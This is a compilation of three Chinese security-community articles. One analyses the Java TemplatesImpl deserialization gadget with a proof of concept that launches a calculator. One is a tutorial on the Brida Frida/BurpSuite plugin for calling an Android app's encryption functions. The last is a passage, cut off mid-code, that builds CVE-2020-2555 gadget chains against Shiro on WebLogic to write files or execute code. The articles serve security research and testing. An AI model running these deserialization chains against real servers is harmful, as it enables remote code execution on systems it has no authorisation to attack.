protected java.lang.String | getTransletName()：返回Translet主类的名称
javax.xml.transform.Transformer |
newTransformer()：实现了JAXP的Templates.newTransformer ()
private void | readObject(java.io.ObjectInputStream is)：重写readObject
void | setStylesheetDOM(DOM sdom)：设置样式表DOM的线程本地副本
protected void | setTransletBytecodes(byte[][]
bytecodes)：获取TransformerFactory设置的Translet字节码并创建Translet实例。
protected void | setTransletName(java.lang.String
name)：TransformerFactory调用此方法来设置Translet名称
void | setURIResolver(javax.xml.transform.URIResolver
resolver)：设置Transformer所需的URIResolver。
private void | writeObject(java.io.ObjectOutputStream
os)：实现了URIResolver和Serializable的类将被序列化
### 5、XML-XSLT-HTML在Java中的转换实例
接下来我们看一个XML-XSLT-HTML的常规转换例子，通过这个例子我们可以知道转换在Java中实现的步骤。
import javax.xml.transform.*;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
public class TestTmp {
public static void main(String[] args) throws TransformerException, FileNotFoundException {
new TestTmp().testTransform();
}
public void testTransform() throws TransformerException, FileNotFoundException {
/*---- 1、使用TransformFactory的newInstance方法创建一个新的实例。-------------------*/
// TransformFactory的缺省实现 是com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl类
TransformerFactory oFactory = TransformerFactory.newInstance();
/*---- 2、使用TransformFactory的newTemplates方法创建一个Templates界面的实现对象。-------------------*/
//Templates的缺省实现 是org.apache.xalan.templates.StylesheetRoot
Templates oTemplates = oFactory.newTemplates(
//使用一个StreamSource对象来读取一个xsl文档
new javax.xml.transform.stream.StreamSource("cdcatalog.xsl")
);
/*---- 3、使用Templates的newTransformer方法创建一个新的Transformer。 -------------------*/
//Transformer的缺省实现 是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
Transformer transformer = oTemplates.newTransformer();
/*---- 4、使用Transformer进行转换。 -------------------*/
transformer.transform(
//创建一个StreamSource对象来读取atom.xml
new javax.xml.transform.stream.StreamSource("cdcatalog.xml"),
//使用out作为输出writer创建一个StreamResult输出转换结果。
new javax.xml.transform.stream.StreamResult(new FileOutputStream("E:\\1.html")));
}
}
执行上面代码最终会在文件夹下生成一个1.html文件，1.html跟上述第一部分的示例转换结果一致。
通过上面代码，我们可以总结出一个XML-XSLT-HTML的转换在Java中一般有以下4个步骤：
1. 创建一个TransformFactory对象；
2. 调用TransformFactory.newTemplates通过XSL样式表创建一个Templates对象；
3. 调用Templates.newTransformer创建一个Transformer对象；
4. 最后通过Transformer.transform将源-XML文档转换为目标-HTML文档。
其中需要注意的是以上接口的 **缺省实现** 都是Xalan提供的com.sun.org.apache.xalan库内对应的实现类来创建对象。
TransformFactory.newTemplates通过XSL样式表创建一个Templates对象，其实现主要由三个部分：
1. 如果_useClasspath属性为true，则尝试从CLASSPATH加载文件，并使用XSL样式表文件加载后的Class创建模板对象：调用new TemplatesImpl(new Class[]{clazz}, transletName, null, _indentNumber, this)；
2. 如果_autoTranslet为true，将尝试在不编译样式表的情况下从translet类加载字节码来创建对象；
3. 以上两种条件不满足，直接创建并初始化样式表编译器来编译样式表，生成字节码，通过字节码创建模板对象。
## 二、TemplatesImpl被反序列化漏洞利用的特性
清楚了TemplatesImpl的方法和使用方式，接下来这部分我们探索下它跟反序列化漏洞的关系。
### 1、JDK7u21的TemplatesImpl利用测试
我们将[JDK7u21分析poc](https://l3yx.github.io/2020/02/22/JDK7u21%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Gadgets/#TemplatesImpl)的`return
templates;`改为`templates.newTransformer()`进行测试。
public void testTemplate() throws Exception {
// 1、通过javassist创建一个Evil类的字节码，设置它的构造方法内部调用exec方法
ClassPool pool = ClassPool.getDefault();//ClassPool对象是一个表示class文件的CtClass对象的容器
CtClass cc = pool.makeClass("Evil");//创建Evil类
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));//设置Evil类的父类为AbstractTranslet
CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);//创建无参构造函数
cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");//设置无参构造函数体
cc.addConstructor(cons);
byte[] byteCode = cc.toBytecode();//toBytecode得到Evil类的字节码
byte[][] targetByteCode = new byte[][]{byteCode};
// 2、创建一个TemplatesImpl对象，设置属性_bytecodes值为Evil类的字节码
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCode);//设置_bytecodes是属性
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_name", "xx");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 3、调用newTransformer()
templates.newTransformer();
}
//通过反射为obj的属性赋值
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
调用上述testTemplate方法，最终会弹出计算器：
为什么能够执行`Runtime.getRuntime().exec(\"calc\")`，关键点在于第3步`templates.newTransformer();`，接下来重点分析下。
### 2、`newTransformer()`分析：
#### 2.1、newTransformer
根据4.4我们知道newTransformer()会调用TransformerImpl构造函数创建实例：`new
TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber,
_tfactory)`，getTransletInstance()会返回Translet类的实例；
#### 2.2、getTransletInstance
getTransletInstance在一开始时对_name和_class实现进行了判断，当_name不为null而_class是null就会调用defineTransletClasses来获取Translet的Class对象，接着会调用newInstance实例化Translet。
//如果_name属性为null返回Translet是null
if (_name == null) return null;
// 如果_class属性是null调用defineTransletClasses
if (_class == null) defineTransletClasses();
// 当属性_class被赋值，即要转换的样式表class文件translet类存在，通过translet类来实例化
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
// translet需要保留对所有辅助类的引用，以防止GC收集它们
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
#### 2.3、defineTransletClasses：
defineTransletClasses用来定义translet类和辅助类，会创建一个内部类TransletClassLoader的对象，通过该对象调用defineClass，根据之前4.1的分析我们知道defineClass会调用Java虚拟机的native方法生成一个Translet类的Class对象。所以到这里我们最终能够获取到Evil字节码生成的Class对象，再经过2.2`AbstractTranslet
translet = (AbstractTranslet)
_class[_transletIndex].newInstance()`对Evil类进行实例化，最终能够执行命令弹出计算器。以下是defineTransletClasses的关键代码摘取：
// 字节码未定义抛出异常
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
//创建一个内部类TransletClassLoader的对象
TransletClassLoader loader = (TransletClassLoader)
// 注意_tfactory.getExternalExtensionsMap()调用TransformerFactoryImpl的getExternalExtensionsMap，因此_tfactory我们要注意赋值，并且是TransformerFactoryImpl的实例
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});
// 循环定义所有类，包括translet主类和它的内部类
_class = new Class[classCount];
for (int i = 0; i < classCount; i++) {
// 关键点 调用TransletClassLoader.defineClass通过字节码定义类
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();
// 通过ABSTRACT_TRANSLET判断是否是主类
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
#### 2.4、小结
通过前面3步的分析，执行恶意代码需要两个条件：一是调用defineTransletClasses获取Evil的Class对象，二是将Class对象
**实例化** 调用构造方法。
另外我们也能明白上面的属性为什么要被这样赋值：
* `_bytecodes`被赋值为我们定义的恶意类的字节码，该类需要继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`（对应2.3的代码分析）
* `_class`必须为null（对应2.2的分析）
* `_name`必须不为null（对应2.2的分析）
* `_tfactory`必须是TransformerFactoryImpl实例（对应2.3的代码分析）
### 3、由`newTransformer()`进行拓展
阅读[wEik1](https://blog.weik1.top/2021/01/15/TemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE/)的分析后发现还可以拓展：
既然只要调用defineTransletClasses就能获取指定字节码定义的类的对象，那我们可以在TemplatesImpl类通过搜索寻找有没有其它方法调用defineTransletClasses。搜索后发现一共有3个方法（包括getTransletInstance）调用defineTransletClasses：
private Translet getTransletInstance()
public synchronized int getTransletIndex()
private synchronized Class[] getTransletClasses()
经过第2.4小结我们可以排除getTransletIndex和getTransletClasses，因为它们仅调用了getTransletInstance并没有进行实例化。那我们将目光聚集在getTransletInstance，它在内部除了被newTransformer()调用，也没有其它直接被调用的情况了，因此也被排除。本来到这里应该结束了，但我们不能忽略一点-newTransformer的调用，可以考虑通过newTransformer的调用来进行利用。newTransformer在内部有被getOutputProperties调用，getOutputProperties是public方法，并且getOutputProperties在内部不再被调用，因此总结下来共2个链可以实现恶意类的实例化：
newTransformer()->getTransletInstance()->defineTransletClasses()
getOutputProperties()->newTransformer()->getTransletInstance()->defineTransletClasses()
## 三、总结与思考
通过本次学习我们了解了`com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl`本身是用来进行xsl转换的，主要通过XSLTC接收xsl文档生成的Translets类的字节码来创建
XSLTC
模板对象。那么由于需要处理字节码，其在内部定义了类加载器并重载了defineClass，defineClass能够返回字节码的Class对象方便后续的实例化，而这也是我们能够利用它执行恶意代码的关键。
通过构造恶意类的字节码并使用defineClass返回其Class对象，实例化后即可执行我们想要的结果。继续思考，我们可以想到Java是否还存在类似的类（内部定义了类加载器并重载了defineClass）能被我们利用，这里不展开了可自行探索。
## 参考链接：
<https://xalan.apache.org/xalan-j/apidocs/org/apache/xalan/xsltc/trax/TemplatesImpl.html>
<https://www.runoob.com/xsl/xsl-transformation.html>
<https://docs.oracle.com/javase/7/docs/api/javax/xml/transform/Templates.html>
<https://blog.weik1.top/2021/01/15/TemplatesImpl%E5%88%A9%E7%94%A8%E9%93%BE/>
<http://terpconnect.umd.edu/~zhangx/xml/html/xmlprog/xalan/xsltc.html>
<https://blog.csdn.net/z_dy1/article/details/104427617> | 社区文章 |
# 【技术分享】联合Frida和BurpSuite的强大扩展--Brida
|
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://techblog.mediaservice.net/2017/07/brida-advanced-mobile-application-penetration-testing-with-frida/>
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[for_while](http://bobao.360.cn/member/contribute?uid=2553709124)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**插件介绍**
在测试一些应用的时候（以移动端为例），会经常发现客户端和服务端的通讯数据是加密过的，在这种情况下，我们如果想继续测试下去，就得去逆向程序中使用的加密算法，然后写程序实现它，然后在后续测试中使用它。这种方式需要耗费大量的时间和精力。而
[Brida ](https://github.com/federicodotta/Brida)这款插件的出现简直天降神器。Frida 是一款多平台的
hook框架， 其具体功能请看官网：<https://www.frida.re/> 。
Brida使用了 frida的功能，并且和 BurpSuite结合，可以在 BurpSuite中 **直接调用目标应用程序中的加/解密函数**
，而不用去逆向它，节省精力。
**插件安装**
安装 python 2.7 和 Pyro4 模块（可以使用 pip安装：pip install pyro4 ）
下载
[Brida_01.jar](https://github.com/federicodotta/Brida/releases/download/v0.1/Brida_01.jar),
并在 BurpSuite 中手动安装该 jar 包
Tips： **插件安装，使用过程中出现了问题请查看插件的错误日志**
**插件测试**
为了测试该插件，写了个安卓的apk, 使用 Java实现了一个 Encryption类用于对数据进行 AES加密和解密。该类的代码如下：
import java.security.SecureRandom;
import javax.crypto.Cipher;
import javax.crypto.KeyGenerator;
import javax.crypto.SecretKey;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
/**
* Created by Administrator on 2017/7/30.
*/
public class Encryption {
private final static String HEX = "0123456789ABCDEF";
private static final String CBC_PKCS5_PADDING = "AES/CBC/PKCS5Padding";//AES是加密方式 CBC是工作模式 PKCS5Padding是填充模式
private static final String AES = "AES";//AES 加密
private static final String SHA1PRNG="SHA1PRNG";//// SHA1PRNG 强随机种子算法, 要区别4.2以上版本的调用方法
/*
* 加密
*/
public static String encrypt(String key, String cleartext) {
if (cleartext.isEmpty()) {
return cleartext;
}
try {
byte[] result = encrypt(key, cleartext.getBytes());
return bytesToHexString(result);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
/*
* 加密
*/
private static byte[] encrypt(String key, byte[] clear) throws Exception {
byte[] raw = getRawKey(key.getBytes());
SecretKeySpec skeySpec = new SecretKeySpec(raw, AES);
Cipher cipher = Cipher.getInstance(CBC_PKCS5_PADDING);
cipher.init(Cipher.ENCRYPT_MODE, skeySpec, new IvParameterSpec(new byte[cipher.getBlockSize()]));
byte[] encrypted = cipher.doFinal(clear);
return encrypted;
}
/*
* 解密
*/
public static String decrypt(String key, String encrypted) {
if (encrypted.isEmpty()) {
return encrypted;
}
try {
byte[] enc = hexStringToBytes(encrypted);
byte[] result = decrypt(key, enc);
return new String(result);
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
/*
* 解密
*/
private static byte[] decrypt(String key, byte[] encrypted) throws Exception {
byte[] raw = getRawKey(key.getBytes());
SecretKeySpec skeySpec = new SecretKeySpec(raw, AES);
Cipher cipher = Cipher.getInstance(CBC_PKCS5_PADDING);
cipher.init(Cipher.DECRYPT_MODE, skeySpec, new IvParameterSpec(new byte[cipher.getBlockSize()]));
byte[] decrypted = cipher.doFinal(encrypted);
return decrypted;
}
/**
* Convert byte[] to hex string.这里我们可以将byte转换成int，然后利用Integer.toHexString(int)来转换成16进制字符串。
* @param src byte[] data
* @return hex string
*/
public static String bytesToHexString(byte[] src){
StringBuilder stringBuilder = new StringBuilder("");
if (src == null || src.length <= 0) {
return null;
}
for (int i = 0; i < src.length; i++) {
int v = src[i] & 0xFF;
String hv = Integer.toHexString(v);
if (hv.length() < 2) {
stringBuilder.append(0);
}
stringBuilder.append(hv);
}
return stringBuilder.toString();
}
/**
* Convert hex string to byte[]
* @param hexString the hex string
* @return byte[]
*/
public static byte[] hexStringToBytes(String hexString) {
if (hexString == null || hexString.equals("")) {
return null;
}
hexString = hexString.toUpperCase();
int length = hexString.length() / 2;
char[] hexChars = hexString.toCharArray();
byte[] d = new byte[length];
for (int i = 0; i < length; i++) {
int pos = i * 2;
d[i] = (byte) (charToByte(hexChars[pos]) << 4 | charToByte(hexChars[pos + 1]));
}
return d;
}
/**
* Convert char to byte
* @param c char
* @return byte
*/
private static byte charToByte(char c) {
return (byte) "0123456789ABCDEF".indexOf(c);
}
// 对密钥进行处理
private static byte[] getRawKey(byte[] seed) throws Exception {
KeyGenerator kgen = KeyGenerator.getInstance(AES);
//for android
SecureRandom sr = null;
// 在4.2以上版本中，SecureRandom获取方式发生了改变
if (android.os.Build.VERSION.SDK_INT >= 17) {
sr = SecureRandom.getInstance(SHA1PRNG, "Crypto");
} else {
sr = SecureRandom.getInstance(SHA1PRNG);
}
// for Java
// secureRandom = SecureRandom.getInstance(SHA1PRNG);
sr.setSeed(seed);
kgen.init(128, sr); //256 bits or 128 bits,192bits
//AES中128位密钥版本有10个加密循环，192比特密钥版本有12个加密循环，256比特密钥版本则有14个加密循环。
SecretKey skey = kgen.generateKey();
byte[] raw = skey.getEncoded();
return raw;
}
}
Encryption.encrypt(key, str) 用于对str, 使用 key进行 aes加密，Encryption.decrypt(key,
str)则用于解密。他们均返回处理后的字符串。为了模拟在安全测试中的场景，我会在burp中使用 Brida插件 调用 Encryption.encrypt
进行加密， 调用Encryption.decrypt 进行解密。
正常情况下，进入插件的界面如下：
其实最重要的就是 Frida
js文件的内容了。下面给一个官方的[例子](https://github.com/federicodotta/Brida/blob/master/jsSkeleton/scriptBrida.js)
'use strict';
// 1 - FRIDA EXPORTS
rpc.exports = {
// BE CAREFUL: Do not use uppercase characters in exported function name (automatically converted lowercase by Pyro)
exportedfunction: function() {
// Do stuff...
// This functions can be called from custom plugins or from Brida "Execute method" dedicated tab
},
// Function executed when executed Brida contextual menu option 1.
// Input is passed from Brida encoded in ASCII HEX and must be returned in ASCII HEX (because Brida will decode the output
// from ASCII HEX). Use auxiliary functions for the conversions.
contextcustom1: function(message) {
return "6566";
},
// Function executed when executed Brida contextual menu option 2.
// Input is passed from Brida encoded in ASCII HEX and must be returned in ASCII HEX (because Brida will decode the output
// from ASCII HEX). Use auxiliary functions for the conversions.
contextcustom2: function(message) {
return "6768";
},
// Function executed when executed Brida contextual menu option 3.
// Input is passed from Brida encoded in ASCII HEX and must be returned in ASCII HEX (because Brida will decode the output
// from ASCII HEX). Use auxiliary functions for the conversions.
contextcustom3: function(message) {
return "6768";
},
// Function executed when executed Brida contextual menu option 4.
// Input is passed from Brida encoded in ASCII HEX and must be returned in ASCII HEX (because Brida will decode the output
// from ASCII HEX). Use auxiliary functions for the conversions.
contextcustom4: function(message) {
return "6768";
}
}
// 2 - AUXILIARY FUNCTIONS
// Convert a hex string to a byte array
function hexToBytes(hex) {
for (var bytes = [], c = 0; c < hex.length; c += 2)
bytes.push(parseInt(hex.substr(c, 2), 16));
return bytes;
}
// Convert a ASCII string to a hex string
function stringToHex(str) {
return str.split("").map(function(c) {
return ("0" + c.charCodeAt(0).toString(16)).slice(-2);
}).join("");
}
// Convert a hex string to a ASCII string
function hexToString(hexStr) {
var hex = hexStr.toString();//force conversion
var str = '';
for (var i = 0; i < hex.length; i += 2)
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
return str;
}
// Convert a byte array to a hex string
function bytesToHex(bytes) {
for (var hex = [], i = 0; i < bytes.length; i++) {
hex.push((bytes[i] >>> 4).toString(16));
hex.push((bytes[i] & 0xF).toString(16));
}
return hex.join("");
}
// 3 - FRIDA HOOKS (if needed)
if(ObjC.available) {
// Insert here Frida interception methods, if needed
// (es. Bypass Pinning, save values, etc.)
}
代码中的注释写的非常清楚，我说一下我认为的重点。
**rpc.exports的每一项是一个函数， : 前面的为函数名（全部为小写），比如 contextcustom1,
后面为函数的具体内容，rpc.exports中的函数都可以被 Brida调用。**
**contextcustom1 和 contextcustom2可以在 burp中使用右键调用，不能改他们的名字**
**函数接收的参数，和返回的数据都是以
16进制编码的，所以我们使用时要先对他们进行16进制解码，然后返回的时候在进行16进制编码。在上述脚本中包含了这些转换所需的函数，方便我们进行处理。
**
**该脚本会被Frida注入到我们在 Brida中指定的进程中所以我们可以直接使用 Frida的 api。**
我们可以先试试，Brida能否正常运行，类似上图设置好参数，使用官方的那个js文件，以安卓为例，使用 Frida Remote.
首先我们要在 android设备上安装 Frida,安装过程可以参考这里：
[http://www.jianshu.com/p/ca8381d3e094](http://www.jianshu.com/p/ca8381d3e094)
当你使用 frida-ps -R 能出现类似下面结果的会继续
λ frida-ps -R
PID Name
----- ---------------------------------------
272 adbd
5262 android.process.acore
841 android.process.media
181 bridgemgrd
8430 com.android.calendar
8450 com.android.deskclock
1867 com.android.gallery3d
873 com.android.inputmethod.latin
920 com.android.launcher
8327 com.android.mms
908 com.android.nfc
858 com.android.phasebeam
897 com.android.phone
1020 com.android.smspush
718 com.android.systemui
1049 com.illuminate.texaspoker
1132 com.illuminate.texaspoker:xg_service_v2
2174 daemonsu:0
13649 daemonsu:0:13646
然后 分别点击 start server 和 spawn application.然后我们在 Execute methon Tab中测试下
contextcustom2 函数
他会在 Output中输出6768 ，这是16进制编码的字符串（方便调试），解码后为 gh
如果在burp中选中数据右键调用的话就会直接输出 解码后的字符串。
这样 Brida_test 就会被替换为 gh.
上面就是官方脚本的测试。下面我们来调用 Encryption.encrypt 和
Encryption.decrypt。这其实就是frida的使用了，可以参考[官方文档](https://www.frida.re/docs/home/)。一个Tips:
**使用全局变量来获取函数的返回值** 。
var encrypt_data = "";
var decrypt_data = "";
rpc.exports = {
contextcustom1: function(message) {
Java.perform(function () {
var Encryption = Java.use('learn.hacklh.me.MobileSafe.tools.Encryption');
encrypt_data = stringToHex(Encryption.encrypt("just_test",hexToString(message)));
});
return encrypt_data
},
contextcustom2: function(message) {
Java.perform(function () {
var Encryption = Java.use('learn.hacklh.me.MobileSafe.tools.Encryption');
decrypt_data = stringToHex(Encryption.decrypt("just_test",hexToString(message)));
});
return decrypt_data
},
}
完整代码如下：
'use strict';
// 1 - FRIDA EXPORTS
var encrypt_data = "";
var decrypt_data = "";
rpc.exports = {
// BE CAREFUL: Do not use uperpcase characters in exported function name (automatically converted lowercase by Pyro)
exportedfunction: function() {
// Do stuff...
// This functions can be called from custom plugins or from Brida "Execute method" dedicated tab
},
// Function executed when executed Brida contextual menu option 1.
// Input is passed from Brida encoded in ASCII HEX and must be returned in ASCII HEX (because Brida will decode the output
// from ASCII HEX). Use auxiliary functions for the conversions.
contextcustom1: function(message) {
Java.perform(function () {
var Encryption = Java.use('learn.hacklh.me.MobileSafe.tools.Encryption');
encrypt_data = stringToHex(Encryption.encrypt("just_test",hexToString(message)));
});
return encrypt_data
},
// Function executed when executed Brida contextual menu option 2.
// Input is passed from Brida encoded in ASCII HEX and must be returned in ASCII HEX (because Brida will decode the output
// from ASCII HEX). Use auxiliary functions for the conversions.
contextcustom2: function(message) {
Java.perform(function () {
var Encryption = Java.use('learn.hacklh.me.MobileSafe.tools.Encryption');
decrypt_data = stringToHex(Encryption.decrypt("just_test",hexToString(message)));
});
return decrypt_data
},
// Function executed when executed Brida contextual menu option 3.
// Input is passed from Brida encoded in ASCII HEX and must be returned in ASCII HEX (because Brida will decode the output
// from ASCII HEX). Use auxiliary functions for the conversions.
contextcustom3: function(message) {
return "6768";
},
// Function executed when executed Brida contextual menu option 4.
// Input is passed from Brida encoded in ASCII HEX and must be returned in ASCII HEX (because Brida will decode the output
// from ASCII HEX). Use auxiliary functions for the conversions.
contextcustom4: function(message) {
return "6768";
}
}
// 2 - AUXILIARY FUNCTIONS
// Convert a hex string to a byte array
function hexToBytes(hex) {
for (var bytes = [], c = 0; c < hex.length; c += 2)
bytes.push(parseInt(hex.substr(c, 2), 16));
return bytes;
}
// Convert a ASCII string to a hex string
function stringToHex(str) {
return str.split("").map(function(c) {
return ("0" + c.charCodeAt(0).toString(16)).slice(-2);
}).join("");
}
// Convert a hex string to a ASCII string
function hexToString(hexStr) {
var hex = hexStr.toString();//force conversion
var str = '';
for (var i = 0; i < hex.length; i += 2)
str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
return str;
}
// Convert a byte array to a hex string
function bytesToHex(bytes) {
for (var hex = [], i = 0; i < bytes.length; i++) {
hex.push((bytes[i] >>> 4).toString(16));
hex.push((bytes[i] & 0xF).toString(16));
}
return hex.join("");
}
// 3 - FRIDA HOOKS (if needed)
// Insert here Frida interception methods, if needed
// (es. Bypass Pinning, save values, etc.)
**测试**
首先 选中文本 ，右键调用contextcustom1对文本 使用 key为 just_test，进行AES加密。
得到结果：f5f91a52df876b902054e4dfd94d3341
然后解密
成功解密
**总结**
使用该插件，我们在测试一些加密应用时提供另外一种节省精力的方法，我们可以直接调用应用中的方法，来对数据进行加/解密
，而不用去逆向对应的方法。这节省了测试人员的精力。 | 社区文章 |
# 前言
前段时间项目上遇到一个部署在 Weblogic 上存在漏洞的 Shiro 应用，于是参照 `Y4er` 师傅的文章 [《使用WebLogic
CVE-2020-2883配合Shiro rememberMe反序列化一键注入蚁剑shell》](https://xz.aliyun.com/t/8202)
的文章调出了 payload， 但是很遗憾并没有成功（也许是目标 Weblogic 打了补丁），但是过程还是有些意思，记录一下留作备忘。
本文中所有的代码均可以从[这里](https://github.com/feihong-cs/Attacking_Shiro_with_CVE_2020_2555)找到。
# 背景介绍
在测试目标应用的时候，使用工具跑出了默认Key，从而可以确定目标应用存在 Shiro 漏洞，但是一些常规的链如
`CommonsCollectionsK1/K2` `CommonsBeanUtils1/2` 均未能成功生效，从 Cookie 和其他信息中判断目标应用为
Weblogic。
记得之前本地也做过测试，使用常规的工具并无法成功攻击部署在 Weblogic 上的 Shiro 应用，常规的链在攻击时，Weblogic
均会报错。但是好在记得之前看过 `Y4er` 师傅的文章，我觉得还有机会“抢救”一下。于是，参考 `Y4er` 师傅的文章，成功在本地的 Weblogic
环境实现了无回显的命令执行，但是在测试目标应用的时候并未触发
`DNSLog`请求，好吧，暂且认为目标应用不能出网，毕竟这种情况也屡见不鲜了，那在这种情况下如何实现`回显`与`上传shell`呢？`Y4er`师傅使用了
`URLClassLoader` 的方式，这种方式肯定是可行的，但是如何把目标 jar 包上传至服务器文章中并没有细说，而且我面临的情况有2个小问题
不确定目标系统是 Windows 还是 Linux，不同操作系统在命令写入文件时 Base64 的方式并不一样，需要分别要尝试，较为麻烦
目标应用前端使用了 Apache Tomcat 进行转发，限制了 cookie 大小最大无法超过 8096, 导致在命令执行写入文件时需要使用多个 cookie，这可能会导致在写入文件时出现一些预期之外的 bug
由于这些原因，于是我希望能有一种更好，更通用的方式，于是我开始了尝试。
## 第一次尝试，失败的 FileOutputStream 尝试
电脑里有个较为古老的 Weblogic 反序列化利用工具，是 Weblogic 早期刚爆出反序列化漏洞时的利用工具，我记得当时它的代码里是首先使用
`FileOutputStream` 的方式使用写入jar包, 然后通过 `URLClassLoader` 加载写入的 jar 包进而实现命令执行等功能。
这里如果我可以通过 `FileOutputStream` 的方式将 jar包写入到目标文件系统，就可以屏蔽不同操作系统带来的不兼容性，于是模仿其中的代码使用
`CVE-2020-2555` 的方式对此进行了实现，并直接在代码中进行反序列化进行了测试，代码如下所示，结果确实成功写入了
`CVE_2020_2555.txt`，证明了代码是 OK 的。
byte[] payload = "CVE_2020_2555 works!".getBytes();
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[]{String.class}}
);
ReflectionExtractor extractor2 = new ReflectionExtractor(
"newInstance",
new Object[]{new Object[]{"CVE_2020_2555.txt"}}
);
ReflectionExtractor extractor3 = new ReflectionExtractor(
"write",
new Object[]{payload}
);
ValueExtractor[] valueExtractors = new ValueExtractor[]{
extractor1,
extractor2,
extractor3
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
LimitFilter limitFilter = new LimitFilter();
//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, FileOutputStream.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
//序列化
byte[] bytes = Util.serialize(badAttributeValueExpException);
//反序列化
Util.deserialize(bytes);
但是在使用此代码生成 `rememberMe cookie` 攻击本地部署的 Shiro 应用时，却报错了，好吧，这条方式看来走不通
## 第二次尝试，失败的 TemplatesImpl 尝试
写入文件的尝试失败后，我想能不能直接执行任意代码，如果可以直接执行任意代码的话，就不需要借助 `URLClassLoader`了，自然就无需在服务器上落地
jar 包，那么如何直接实现任意代码执行呢？回想 `ysoserial` 的代码，是通过设置 `TemplatesImpl` 的 `_bytecodes`
属性，进而通过触发其 `newTransformer` 方法实现任意代码执行，那么同样的这里可以参考其方式对 `CVE-2020-2555`
进行改造，代码如下，并直接在代码中进行反序列化测试确保代码是 OK 的。
final Object eveiObject = Gadgets.createTemplatesImpl("java.lang.Runtime.getRuntime().exec(\"calc\");");
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getMethod",
new Object[]{"newTransformer", new Class[0]}
);
ReflectionExtractor extractor2 = new ReflectionExtractor(
"invoke",
new Object[]{eveiObject , new Object[0]}
);
ValueExtractor[] valueExtractors = new ValueExtractor[]{
extractor1,
extractor2
};
ChainedExtractor chainedExtractor = new ChainedExtractor(valueExtractors);
LimitFilter limitFilter = new LimitFilter();
//m_comparator
Field m_comparator = limitFilter.getClass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(limitFilter, chainedExtractor);
//m_oAnchorTop
Field m_oAnchorTop = limitFilter.getClass().getDeclaredField("m_oAnchorTop");
m_oAnchorTop.setAccessible(true);
m_oAnchorTop.set(limitFilter, TemplatesImpl.class);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, limitFilter);
//序列化
byte[] bytes = Util.serialize(badAttributeValueExpException);
//反序列化
Util.deserialize(bytes);
但是同样的，在使用此代码生成 `rememberMe cookie` 攻击本地部署的 Shiro 应用时，也报错了，好吧，这种方式看来也走不通
## 第三次尝试，成功的 ScriptEngineManager 尝试
二次尝试都失败后，一时半会失去了方向，站起来走了几圈之后，想起来 `清水川崎` 师傅之前写过的一篇文章
[《CommonsCollections12之CommonsCollections6改造计划》](https://xz.aliyun.com/t/8673),
其中使用 `JavaScript脚本解析引擎`实现了任意代码执行，不知道这里是否适用，但是值得一试。于是老样子，首先对 `CVE-2020-2555`
进行改造，代码如下，并直接在代码中进行反序列化测试确保代码是 OK 的。
ReflectionExtractor extractor1 = new ReflectionExtractor(
"getConstructor",
new Object[]{new Class[0]}
);
ReflectionExtractor extractor2 = new ReflectionExtractor(
"newInstance",
new Object[]{new Object[0]}
);
ReflectionExtractor extractor3 = new ReflectionExtractor(
"getEngineByName",
new Object[]{"javascript"}
);
ReflectionExtractor extractor4 = new ReflectionExtractor(
"eval",
new Object[]{"java.lang.Runtime.getRuntime().exec('calc');"}
);
ReflectionExtractor[] extractors = {
extractor1,
extractor2,
extractor3,
extractor4
};
ChainedExtractor chainedExtractor = new ChainedExtractor(extractors);
LimitFilter limitFilter = new LimitFilter();
